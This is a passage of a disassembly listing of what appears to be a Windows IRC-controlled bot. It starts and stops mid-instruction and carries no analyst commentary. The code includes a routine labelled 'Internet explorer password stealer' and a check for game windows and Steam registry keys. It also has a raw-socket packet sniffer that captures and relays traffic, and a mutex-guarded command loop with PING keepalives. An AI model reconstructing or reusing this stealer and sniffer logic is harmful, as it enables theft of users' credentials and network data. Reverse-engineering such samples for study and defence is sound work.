[ebp-28Ch] push dword ptr [ebp-10h] push offset dword_4170D8 push eax call sub_408D50 add esp, 18h loc_40FBE3: ; CODE XREF: sub_40F54D+533j ; sub_40F54D+54Ej ... mov esi, 200h lea eax, [ebp-7BCh] push esi push ebx push eax call sub_410850 ; memset push esi lea eax, [ebp-5BCh] push ebx push eax call sub_410850 ; memset add esp, 18h jmp loc_40F711 ; --------------------------------------------------------------------------- loc_40FC0C: ; CODE XREF: sub_40F54D+1E5j mov eax, [ebp-28h] mov byte ptr [ebp-4], 2 cmp eax, ebx jz loc_40F6AD mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_40F6AD ; --------------------------------------------------------------------------- loc_40FC26: ; CODE XREF: sub_40F54D+181j mov eax, [ebp-24h] mov byte ptr [ebp-4], 1 cmp eax, ebx jz loc_40F61D mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_40F61D ; --------------------------------------------------------------------------- loc_40FC40: ; CODE XREF: sub_40F54D+F1j ; sub_40F54D+100j mov al, [ebp+0Bh] push 3E8h mov [ebp-0F4h], al call ds:dword_4110A4 ; Sleep push dword ptr [ebp-10h] mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_41709C push eax call sub_408D50 push dword ptr [ebp-290h] call sub_406753 add esp, 14h loc_40FC7E: ; CODE XREF: sub_40F54D+9Dj mov eax, [ebp-1Ch] mov [ebp-4], bl cmp eax, ebx jz short loc_40FC8E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40FC8E: ; CODE XREF: sub_40F54D+57j ; sub_40F54D+739j mov eax, [ebp-14h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, ebx jz short loc_40FC9F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40FC9F: ; CODE XREF: sub_40F54D+74Aj mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx leave retn 4 sub_40F54D endp ; =============== S U B R O U T I N E ======================================= sub_40FCB2 proc near ; CODE XREF: sub_40735A+6Cp arg_0 = dword ptr 4 cmp dword_417BB0, 0 push esi jz short loc_40FCF1 push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40FCF1 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push esi push offset sub_40F54D call sub_40663C add esp, 10h loc_40FCF1: ; CODE XREF: sub_40FCB2+8j ; sub_40FCB2+19j pop esi retn sub_40FCB2 endp ; --------------------------------------------------------------------------- loc_40FCF3: ; CODE XREF: seg000:00410CD3j ; seg000:00410CDBj ... mov eax, [ecx] test eax, eax jz short locret_40FCFF mov ecx, [eax] push eax call dword ptr [ecx+8] locret_40FCFF: ; CODE XREF: seg000:0040FCF7j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD00 proc near ; DATA XREF: sub_40FEA2+29o var_5BC = byte ptr -5BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5BCh push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free xor esi, esi add esp, 10h mov [ebp+var_8], esi mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_14], esi mov [ebp+arg_0], esi xor ebx, ebx loc_40FD3E: ; CODE XREF: sub_40FD00+ACj lea eax, [ebp+var_5BC] push 400h push eax push ebx call ds:dword_4111F0 ; GetWindowTextA push 7 lea eax, [ebp+var_5BC] push offset aUnreal3 ; "Unreal3" push eax call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax push 1 pop edi jnz short loc_40FD71 mov [ebp+var_C], edi loc_40FD71: ; CODE XREF: sub_40FD00+6Cj lea eax, [ebp+var_5BC] push offset aWorldOfWarcraf ; "World Of Warcraft" push eax call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40FD8B mov [ebp+var_14], edi loc_40FD8B: ; CODE XREF: sub_40FD00+86j lea eax, [ebp+var_5BC] push offset aConquer ; "[Conquer]" push eax call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40FDA5 mov [ebp+arg_0], edi loc_40FDA5: ; CODE XREF: sub_40FD00+A0j inc ebx cmp ebx, 0FFFFh jb short loc_40FD3E mov edi, ds:dword_411000 lea eax, [ebp+var_4] mov ebx, 20019h push eax push ebx push esi push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h mov [ebp+var_4], esi call edi ; RegOpenKeyExA test eax, eax jnz short loc_40FDD9 mov [ebp+var_8], 1 loc_40FDD9: ; CODE XREF: sub_40FD00+D0j push [ebp+var_4] mov esi, ds:dword_411028 call esi ; RegCloseKey and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push ebx push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call edi ; RegOpenKeyExA test eax, eax jnz short loc_40FE06 mov [ebp+var_10], 1 loc_40FE06: ; CODE XREF: sub_40FD00+FDj push [ebp+var_4] call esi ; RegCloseKey cmp [ebp+var_20], 0 mov eax, offset aNo ; "No" mov ecx, offset aYes ; "Yes" jz short loc_40FE44 xor edx, edx cmp [ebp+var_C], edx jnz short loc_40FE46 cmp [ebp+var_8], edx jnz short loc_40FE46 cmp [ebp+var_10], edx jnz short loc_40FE46 cmp [ebp+var_14], edx jnz short loc_40FE46 cmp [ebp+arg_0], edx jnz short loc_40FE4B push [ebp+var_1BC] call sub_406753 pop ecx jmp short loc_40FE99 ; --------------------------------------------------------------------------- loc_40FE44: ; CODE XREF: sub_40FD00+119j xor edx, edx loc_40FE46: ; CODE XREF: sub_40FD00+120j ; sub_40FD00+125j ... cmp [ebp+arg_0], edx jz short loc_40FE4F loc_40FE4B: ; CODE XREF: sub_40FD00+134j mov ebx, ecx jmp short loc_40FE51 ; --------------------------------------------------------------------------- loc_40FE4F: ; CODE XREF: sub_40FD00+149j mov ebx, eax loc_40FE51: ; CODE XREF: sub_40FD00+14Dj cmp [ebp+var_14], edx mov edi, ecx jnz short loc_40FE5A mov edi, eax loc_40FE5A: ; CODE XREF: sub_40FD00+156j cmp [ebp+var_10], edx mov esi, ecx jnz short loc_40FE63 mov esi, eax loc_40FE63: ; CODE XREF: sub_40FD00+15Fj cmp [ebp+var_8], 0 mov edx, ecx jnz short loc_40FE6D mov edx, eax loc_40FE6D: ; CODE XREF: sub_40FD00+169j cmp [ebp+var_C], 0 jz short loc_40FE75 mov eax, ecx loc_40FE75: ; CODE XREF: sub_40FD00+171j push ebx push edi push esi push edx push eax lea eax, [ebp+var_1B8] push offset dword_41731C push eax call sub_408D50 push [ebp+var_1BC] call sub_406753 add esp, 20h loc_40FE99: ; CODE XREF: sub_40FD00+142j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40FD00 endp ; =============== S U B R O U T I N E ======================================= sub_40FEA2 proc near ; CODE XREF: sub_40735A+925p arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40FED8 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push esi push offset sub_40FD00 call sub_40663C add esp, 10h loc_40FED8: ; CODE XREF: sub_40FEA2+10j pop esi retn sub_40FEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEDA proc near ; CODE XREF: sub_40FF2A+32p ; sub_40FF2A+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi cmp dword ptr [eax], 0 jz short loc_40FF20 mov esi, eax loc_40FEE8: ; CODE XREF: sub_40FEDA+44j push dword ptr [eax] push [ebp+arg_8] push [ebp+arg_4] call sub_4052F1 add esp, 0Ch test eax, eax jz short loc_40FF16 mov eax, [esi+4] test eax, eax jz short loc_40FF25 push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4052F1 add esp, 0Ch test eax, eax jz short loc_40FF25 loc_40FF16: ; CODE XREF: sub_40FEDA+20j add esi, 8 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_40FEE8 loc_40FF20: ; CODE XREF: sub_40FEDA+Aj xor eax, eax loc_40FF22: ; CODE XREF: sub_40FEDA+4Ej pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40FF25: ; CODE XREF: sub_40FEDA+27j ; sub_40FEDA+3Aj push 1 pop eax jmp short loc_40FF22 sub_40FEDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF2A proc near ; CODE XREF: sub_40FFBC+29Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] jz short loc_40FF4D push [ebp+arg_C] push esi push edi call sub_4052F1 add esp, 0Ch test eax, eax jnz short loc_40FFB0 loc_40FF4D: ; CODE XREF: sub_40FF2A+10j mov ebx, [ebp+arg_8] cmp ebx, 1 jb short loc_40FF68 push esi push edi push offset off_41744C call sub_40FEDA add esp, 0Ch test eax, eax jnz short loc_40FFB0 loc_40FF68: ; CODE XREF: sub_40FF2A+29j cmp ebx, 2 jb short loc_40FF80 push esi push edi push offset off_4174A8 call sub_40FEDA add esp, 0Ch test eax, eax jnz short loc_40FFB0 loc_40FF80: ; CODE XREF: sub_40FF2A+41j cmp ebx, 3 jb short loc_40FF98 push esi push edi push offset off_41751C call sub_40FEDA add esp, 0Ch test eax, eax jnz short loc_40FFB0 loc_40FF98: ; CODE XREF: sub_40FF2A+59j cmp ebx, 4 jb short loc_40FFB5 push esi push edi push offset off_417560 call sub_40FEDA add esp, 0Ch test eax, eax jz short loc_40FFB5 loc_40FFB0: ; CODE XREF: sub_40FF2A+21j ; sub_40FF2A+3Cj ... push 1 pop eax jmp short loc_40FFB7 ; --------------------------------------------------------------------------- loc_40FFB5: ; CODE XREF: sub_40FF2A+71j ; sub_40FF2A+84j xor eax, eax loc_40FFB7: ; CODE XREF: sub_40FF2A+89j pop edi pop esi pop ebx pop ebp retn sub_40FF2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFBC proc near ; DATA XREF: sub_41041B+76o var_199C = byte ptr -199Ch var_1993 = byte ptr -1993h var_1990 = dword ptr -1990h var_198C = dword ptr -198Ch var_970 = byte ptr -970h var_870 = byte ptr -870h var_770 = byte ptr -770h var_670 = byte ptr -670h var_4F0 = byte ptr -4F0h var_4EF = byte ptr -4EFh var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = byte ptr -3E8h var_1E8 = byte ptr -1E8h var_5A = byte ptr -5Ah var_54 = byte ptr -54h var_50 = byte ptr -50h var_44 = byte ptr -44h var_40 = word ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 199Ch call sub_4108B0 push ebx push esi push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_3F0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free mov al, [ebp+var_3E8] add esp, 10h neg al sbb eax, eax xor ebx, ebx lea ecx, [ebp+var_3E8] push ebx and eax, ecx push 3 push 2 mov [ebp+var_24], eax call ds:dword_41122C ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_C], esi jz loc_410406 lea eax, [ebp+var_970] push 0FFh push eax call ds:dword_411270 ; gethostname lea eax, [ebp+var_970] push eax call ds:dword_41124C ; gethostbyname mov edi, eax cmp edi, ebx jz loc_4103FF push 10h lea eax, [ebp+var_40] push ebx push eax call sub_410850 ; memset mov [ebp+var_40], 2 mov eax, [edi+0Ch] add esp, 0Ch loc_41005C: ; DATA XREF: .data:off_414814o mov eax, [eax] push 10h mov eax, [eax] mov [ebp+var_3C], eax lea eax, [ebp+var_40] push eax push esi call ds:dword_41121C ; bind cmp eax, 0FFFFFFFFh jz loc_4103FF push ebx lea eax, [ebp+var_44] push ebx push eax push ebx push ebx lea eax, [ebp+var_28] push 4 push eax push 98000001h push esi mov [ebp+var_28], 1 call ds:dword_41126C ; WSAIoctl cmp eax, 0FFFFFFFFh jz loc_4103FF push [ebp+var_3EC] mov eax, [ebp+var_3F0] push dword ptr [eax] lea eax, [ebp+var_1E8] push offset unk_41772C push eax call sub_408D50 add esp, 10h xor eax, eax lea edi, [ebp+var_4EF] mov [ebp+var_4F0], bl push 3Fh mov [ebp+var_14], bl pop ecx mov [ebp+var_50], bl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] stosd stosb lea eax, [ebp+var_4F0] push eax call sub_40882C push eax call sub_403495 pop ecx lea eax, [ebp+var_14] pop ecx push eax call sub_40882C push eax call sub_403536 pop ecx lea eax, [ebp+var_4F0] pop ecx push eax call ds:dword_411254 ; inet_addr mov [ebp+var_20], eax lea eax, [ebp+var_14] push eax call sub_41088C ; atoi mov [ebp+var_30], eax xor eax, eax lea edi, [ebp+var_1B] mov [ebp+var_1C], bl stosd stosb pop ecx lea eax, [ebp+var_1C] push eax call sub_40882C push eax call sub_4034E7 mov eax, [ebp+var_3C] mov [ebp+var_8], eax lea eax, [ebp+var_1C] push eax call sub_41088C ; atoi add esp, 0Ch mov [ebp+var_2C], eax loc_410158: ; CODE XREF: sub_40FFBC+1F3j ; sub_40FFBC+43Bj push ebx lea eax, [ebp+var_199C] push 1028h push eax push esi call ds:dword_411258 ; recv mov ecx, [ebp+var_3F0] cmp [ecx+4], ebx jnz loc_4103FF cmp eax, 0FFFFFFFFh jz loc_4103FF cmp eax, ebx jz loc_4103FF mov [ebp+eax+var_199C], bl mov cl, [ebp+var_199C] and ecx, 0Fh lea edx, [ebp+var_199C] lea edi, [ebp+ecx*4+var_199C] mov ecx, edi sub ecx, edx cmp ecx, eax jnb short loc_410158 movzx ecx, byte ptr [edi+0Ch] shr ecx, 4 lea edx, [ebp+var_199C] lea esi, [edi+ecx*4] mov ecx, esi sub ecx, edx cmp ecx, eax jnb loc_4103F4 push esi call sub_410826 ; strlen cmp [ebp+var_1993], 6 pop ecx mov [ebp+arg_0], eax jnz loc_4103F4 cmp [ebp+var_5A], bl jz short loc_4101F8 mov eax, [ebp+var_8] cmp [ebp+var_198C], eax jnz loc_4103F4 loc_4101F8: ; CODE XREF: sub_40FFBC+22Bj cmp [ebp+var_54], bl jz short loc_41020C mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jnz loc_4103F4 loc_41020C: ; CODE XREF: sub_40FFBC+23Fj mov ax, [edi] push eax call ds:dword_411248 ; htons cmp ax, word ptr [ebp+var_2C] jnz short loc_41022B mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jz loc_4103F4 loc_41022B: ; CODE XREF: sub_40FFBC+25Ej mov ax, [edi] push eax call ds:dword_411248 ; htons cmp ax, word ptr [ebp+var_30] jnz short loc_41024A mov eax, [ebp+var_20] cmp [ebp+var_1990], eax jz loc_4103F4 loc_41024A: ; CODE XREF: sub_40FFBC+27Dj push [ebp+var_24] push [ebp+var_3EC] push [ebp+arg_0] push esi call sub_40FF2A add esp, 10h test eax, eax jz loc_4103F4 xor ecx, ecx cmp [ebp+arg_0], ebx jbe short loc_41028F loc_41026E: ; CODE XREF: sub_40FFBC+2D1j cmp byte ptr [ecx+esi], 0Dh lea eax, [ecx+esi] jnz short loc_41027A mov byte ptr [eax], 2Dh loc_41027A: ; CODE XREF: sub_40FFBC+2B9j cmp byte ptr [eax], 0Ah jnz short loc_410282 mov byte ptr [eax], 3Eh loc_410282: ; CODE XREF: sub_40FFBC+2C1j cmp [eax], bl jnz short loc_410289 mov byte ptr [eax], 2Eh loc_410289: ; CODE XREF: sub_40FFBC+2C8j inc ecx cmp ecx, [ebp+arg_0] jb short loc_41026E loc_41028F: ; CODE XREF: sub_40FFBC+2B0j xor eax, eax xor ecx, ecx cmp [esi], bl mov [ebp+arg_0], ecx jz short loc_4102B4 loc_41029A: ; CODE XREF: sub_40FFBC+2F3j mov dl, [eax+esi] cmp dl, 7Fh jge short loc_4102AB cmp dl, 1Fh jle short loc_4102AB mov [ecx+esi], dl inc ecx loc_4102AB: ; CODE XREF: sub_40FFBC+2E4j ; sub_40FFBC+2E9j inc eax cmp [eax+esi], bl jnz short loc_41029A mov [ebp+arg_0], ecx loc_4102B4: ; CODE XREF: sub_40FFBC+2DCj mov al, [eax+esi] cmp ecx, ebx mov [ecx+esi], al jz loc_4103F4 push 100h push [ebp+var_1990] call ds:dword_411230 ; inet_ntoa push eax lea eax, [ebp+var_870] push eax call sub_4052A6 add esp, 0Ch push 100h push [ebp+var_198C] call ds:dword_411230 ; inet_ntoa push eax lea eax, [ebp+var_770] push eax call sub_4052A6 mov ax, [edi+2] add esp, 0Ch push eax call ds:dword_411248 ; htons movzx eax, ax push eax lea eax, [ebp+var_770] push eax mov ax, [edi] push eax call ds:dword_411248 ; htons movzx eax, ax push eax lea eax, [ebp+var_870] push eax lea eax, [ebp+var_670] push offset dword_4176F8 push eax call sub_410844 ; sprintf mov edi, eax mov eax, 180h sub eax, edi push eax lea eax, [ebp+edi+var_670] push esi push eax call sub_4052A6 add esp, 24h lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_412B30 push eax call sub_408D50 add esp, 0Ch push 3E8h call ds:dword_4110A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_4103FC mov eax, 17Fh sub eax, edi mov edi, [ebp+arg_0] cmp eax, edi mov [ebp+var_4], eax jnb short loc_4103F4 add esi, eax loc_41039F: ; CODE XREF: sub_40FFBC+436j push 180h lea eax, [ebp+var_670] push esi push eax call sub_4052A6 add esp, 0Ch lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_412B30 push eax call sub_408D50 add esp, 0Ch push 3E8h call ds:dword_4110A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_4103FC mov eax, 17Fh add [ebp+var_4], eax add esi, eax cmp [ebp+var_4], edi jb short loc_41039F loc_4103F4: ; CODE XREF: sub_40FFBC+20Bj ; sub_40FFBC+222j ... mov esi, [ebp+var_C] jmp loc_410158 ; --------------------------------------------------------------------------- loc_4103FC: ; CODE XREF: sub_40FFBC+3CEj ; sub_40FFBC+427j mov esi, [ebp+var_C] loc_4103FF: ; CODE XREF: sub_40FFBC+82j ; sub_40FFBC+B7j ... push esi call ds:dword_411240 ; closesocket loc_410406: ; CODE XREF: sub_40FFBC+59j push [ebp+var_3F0] call sub_406753 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40FFBC endp ; =============== S U B R O U T I N E ======================================= sub_41041B proc near ; CODE XREF: sub_40735A+3E4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push 3ABh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_41049F cmp [esp+4+arg_4], 0 jz short loc_410440 push [esp+4+arg_4] call sub_41088C ; atoi pop ecx jmp short loc_410443 ; --------------------------------------------------------------------------- loc_410440: ; CODE XREF: sub_41041B+17j push 3 pop eax loc_410443: ; CODE XREF: sub_41041B+23j mov [esi+4], eax mov eax, [esp+4+arg_8] test eax, eax jnz short loc_410453 mov eax, offset byte_417B60 loc_410453: ; CODE XREF: sub_41041B+31j push edi push 200h push eax lea eax, [esi+8] push eax call sub_4052A6 mov edi, [esp+14h+arg_0] push 1A3h lea eax, [esi+208h] push edi push eax call sub_410838 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push dword ptr [esi+4] setz al push offset dword_417760 push eax push esi push offset sub_40FFBC call sub_40663C add esp, 14h pop edi loc_41049F: ; CODE XREF: sub_41041B+10j pop esi retn sub_41041B endp ; =============== S U B R O U T I N E ======================================= sub_4104A1 proc near ; CODE XREF: sub_410521+4p arg_0 = dword ptr 4 push offset aRb ; "rb" push [esp+4+arg_0] call sub_41086E ; fopen pop ecx test eax, eax pop ecx jz short loc_4104C0 push eax call sub_410868 ; fclose pop ecx push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4104C0: ; CODE XREF: sub_4104A1+12j xor eax, eax retn sub_4104A1 endp ; =============== S U B R O U T I N E ======================================= sub_4104C3 proc near ; CODE XREF: sub_40735A+504p arg_0 = dword ptr 4 push esi push offset aRb ; "rb" push [esp+8+arg_0] call sub_41086E ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41050C push edi push 2 push 0 push esi call sub_410886 ; fseek push esi call sub_41085C ; ftell push 0 push 0 push esi mov edi, eax call sub_410886 ; fseek push esi call sub_410868 ; fclose mov eax, edi add esp, 20h inc eax neg eax sbb eax, eax and eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41050C: ; CODE XREF: sub_4104C3+15j xor eax, eax pop esi retn sub_4104C3 endp ; =============== S U B R O U T I N E ======================================= sub_410510 proc near ; CODE XREF: sub_410521+12p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4110B8 ; DeleteFileA neg eax sbb eax, eax neg eax retn sub_410510 endp ; =============== S U B R O U T I N E ======================================= sub_410521 proc near ; CODE XREF: sub_402018+11Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_4104A1 test eax, eax pop ecx jz short loc_41053F push [esp+arg_0] call sub_410510 neg eax sbb eax, eax pop ecx inc eax retn ; --------------------------------------------------------------------------- loc_41053F: ; CODE XREF: sub_410521+Cj xor eax, eax retn sub_410521 endp ; =============== S U B R O U T I N E ======================================= sub_410542 proc near ; CODE XREF: sub_40735A+347p arg_4 = dword ptr 8 mov eax, [esp+arg_4] push dword ptr [eax] call sub_409CCF pop ecx retn sub_410542 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4112A8 push offset sub_410ACA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_4108B0 push ebx push esi push edi mov [ebp-18h], esp push 2 call ds:dword_4110FC ; SetErrorMode xor edi, edi mov [ebp-4], edi push dword_4177A4 push dword_4177A0 push 398h push dword_41779C push edi push dword_417798 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_410844 ; sprintf add esp, 20h mov [ebp-1128h], edi loc_4105C3: ; CODE XREF: seg000:004107D6j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_4105D1 call sub_404BC3 loc_4105D1: ; CODE XREF: seg000:004105CAj push 3E8h call ds:dword_4110A4 ; Sleep lea eax, [ebp-115Ch] push eax push edi push edi call ds:dword_411100 ; CreateMutexA mov [ebp-12F0h], eax cmp eax, edi jz loc_4107D0 call ds:dword_41106C ; RtlGetLastWin32Error test eax, eax jnz loc_4107D0 call sub_402D7B call sub_403E9B call sub_40647C call sub_40DE2B call sub_40A9A3 call sub_409AB1 push 10h mov esi, offset dword_417798 push esi call sub_40ABCC push 10h push esi call sub_409C8B push 10h push esi call sub_409D01 add esp, 18h call sub_40AB05 mov dword_418960, eax call sub_40AB05 mov dword_418964, eax call sub_40AB05 mov dword_418968, eax call sub_40AB05 mov dword_41896C, eax push 104h lea eax, [ebp-1120h] push eax push edi call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA test eax, eax jnz short loc_41069E loc_41068B: ; CODE XREF: seg000:004106B3j push offset byte_417B60 push offset dword_41885C call sub_410820 ; _mbscpy pop ecx pop ecx jmp short loc_4106E4 ; --------------------------------------------------------------------------- loc_41069E: ; CODE XREF: seg000:00410689j lea eax, [ebp-1120h] push eax call sub_410826 ; strlen pop ecx loc_4106AB: ; CODE XREF: seg000:004107CBj mov [ebp-12F4h], eax cmp eax, edi jz short loc_41068B cmp byte ptr [ebp+eax-1121h], 5Ch jnz loc_4107CA lea eax, [ebp+eax-1120h] push eax mov esi, offset dword_41885C push esi call sub_410820 ; _mbscpy push esi push offset dword_418970 call sub_410820 ; _mbscpy add esp, 10h loc_4106E4: ; CODE XREF: seg000:0041069Cj call sub_4049B5 lea eax, [ebp-12ECh] push eax push 202h call ds:dword_411274 ; WSAStartup loc_4106FB: ; CODE XREF: seg000:004107A2j push edi push edi push edi call sub_408BA7 add esp, 0Ch call sub_406324 mov [ebp-1124h], edi mov [ebp-101Ch], edi loc_410717: ; CODE XREF: seg000:004107C5j mov dword ptr [ebp-4], 1 loc_41071E: ; CODE XREF: seg000:00410758j ; seg000:00410760j push 0EA60h call sub_40882C push eax call sub_403DD6 pop ecx pop ecx test eax, eax jnz short loc_410762 cmp dword ptr [ebp-101Ch], 19h jz short loc_41079F cmp dword ptr [ebp-101Ch], 14h jnz short loc_41075A call sub_40AB05 push eax push offset aPing08x ; "PING :%08X" call sub_408E60 pop ecx loc_410757: ; CODE XREF: seg000:0041079Dj pop ecx jmp short loc_41071E ; --------------------------------------------------------------------------- loc_41075A: ; CODE XREF: seg000:00410744j inc dword ptr [ebp-101Ch] jmp short loc_41071E ; --------------------------------------------------------------------------- loc_410762: ; CODE XREF: seg000:00410732j push 1000h lea eax, [ebp-1018h] push eax call sub_40882C push eax call sub_403D69 add esp, 0Ch mov [ebp-1124h], eax cmp eax, edi jz short loc_41079F cmp eax, 0FFFFFFFFh jz short loc_41079F mov [ebp-101Ch], edi lea eax, [ebp-1018h] push eax call sub_409A8C jmp short loc_410757 ; --------------------------------------------------------------------------- loc_41079F: ; CODE XREF: seg000:0041073Bj ; seg000:00410784j ... mov [ebp-4], edi jmp loc_4106FB ; --------------------------------------------------------------------------- loc_4107A7: ; DATA XREF: seg001:004112B8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4107BD: ; DATA XREF: seg001:004112BCo mov esp, [ebp-18h] xor edi, edi mov [ebp-4], edi jmp loc_410717 ; --------------------------------------------------------------------------- loc_4107CA: ; CODE XREF: seg000:004106BDj dec eax jmp loc_4106AB ; --------------------------------------------------------------------------- loc_4107D0: ; CODE XREF: seg000:004105F3j ; seg000:00410601j inc dword ptr [ebp-1128h] jmp loc_4105C3 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh xor edi, edi cmp dword_417B68, edi jz short loc_410813 push offset dword_417A88 push offset dword_4177EC call sub_408CDE pop ecx pop ecx loc_410813: ; CODE XREF: seg000:00410800j call ds:dword_411260 ; WSACleanup push edi call sub_4108EC ; exit int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410820 proc near ; CODE XREF: sub_401000+36p ; sub_401B81+61p ... jmp ds:dword_41113C sub_410820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410826 proc near ; CODE XREF: sub_40110A+64p ; sub_4014B0+Bp ... jmp ds:dword_4111D0 sub_410826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41082C proc near ; CODE XREF: sub_4011C4+6Dp ; sub_4014B0+1Ap ... jmp ds:dword_4111CC sub_41082C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410832 proc near ; CODE XREF: sub_4011C4+20p ; sub_4011C4+283p ... jmp ds:dword_4111C8 sub_410832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410838 proc near ; CODE XREF: sub_4011C4+18p ; sub_401621+1Bp ... jmp ds:dword_4111C4 sub_410838 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41083E proc near ; CODE XREF: sub_4014B0+43p ; sub_401EA8+84p ... jmp ds:dword_4111C0 sub_41083E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410844 proc near ; CODE XREF: sub_401571+97p ; sub_4043B3+1CAp ... jmp ds:dword_4111BC sub_410844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41084A proc near ; CODE XREF: sub_401571+30p ; sub_401571+4Bp ... jmp ds:dword_4111B8 sub_41084A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410850 proc near ; CODE XREF: sub_401621+CFp ; sub_401621+DDp ... jmp ds:dword_4111B4 sub_410850 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410856 proc near ; CODE XREF: sub_4018D5+8Ap ; sub_4027CB+45p ... jmp ds:dword_4111B0 sub_410856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41085C proc near ; CODE XREF: sub_401985+150p ; sub_401B81+120p ... jmp ds:dword_4111AC sub_41085C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410862 proc near ; CODE XREF: sub_401985+122p ; sub_402018+166p ... jmp ds:dword_4111A8 sub_410862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410868 proc near ; CODE XREF: sub_401985+85p ; sub_401985+1D8p ... jmp 